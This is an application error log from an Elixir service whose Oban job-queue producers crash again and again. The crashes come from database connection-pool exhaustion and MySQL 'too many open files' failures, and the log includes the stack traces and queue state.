State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:48:36.239251Z], limit: 10, uuid: "85c6edaf-96e0-4154-8e11-4d0c41e6d885", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:36.239257Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.138977>, refresh_timer: #Reference<0.2525715032.1099431938.33035>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:48:36.240085Z], limit: 5, uuid: "e999c68e-4954-497d-bb72-200708b43751", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:36.240091Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30402>, refresh_timer: #Reference<0.2525715032.1121189889.138974>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:48:36.239205Z], limit: 50, uuid: "e7ef0cb4-e41d-46fb-b1b5-6c6fd6710d04", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:36.239212Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.138978>, refresh_timer: #Reference<0.2525715032.1077673987.3577>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:48:36.239059Z], limit: 3, uuid: "492a0e97-a0f0-438e-a607-ec28d0710cf6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:36.239066Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.138976>, refresh_timer: #Reference<0.2525715032.1121189889.138950>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:48:36.239405Z], limit: 5, uuid: "9e7d35f9-38e3-46ef-8bf4-19095dfc233d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:36.239411Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30403>, refresh_timer: #Reference<0.2525715032.1099431938.33039>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:50.716000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:53.598000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:56.579000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:56.757000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:57.195000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:00.688000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:01.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:48:48.240758Z], limit: 3, uuid: "bdae295c-d11f-4075-929a-88c32faeb529", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:48.240764Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30662>, refresh_timer: #Reference<0.2525715032.1099431938.33124>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:01.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:48:48.240235Z], limit: 50, uuid: "dad340d4-4025-44f6-98a4-e7fb39f0b2c9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:48.240240Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30661>, refresh_timer: #Reference<0.2525715032.1099431938.33120>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:01.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:48:48.239677Z], limit: 5, uuid: "418a83e0-f47b-4771-b540-809d0edb53ef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:48.239683Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30660>, refresh_timer: #Reference<0.2525715032.1099431938.33099>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:01.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:48:48.238592Z], limit: 10, uuid: "b8015127-cfbc-45dc-b9d9-91fe713667c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:48.238598Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.30658>, refresh_timer: #Reference<0.2525715032.1121189889.139147>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:01.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
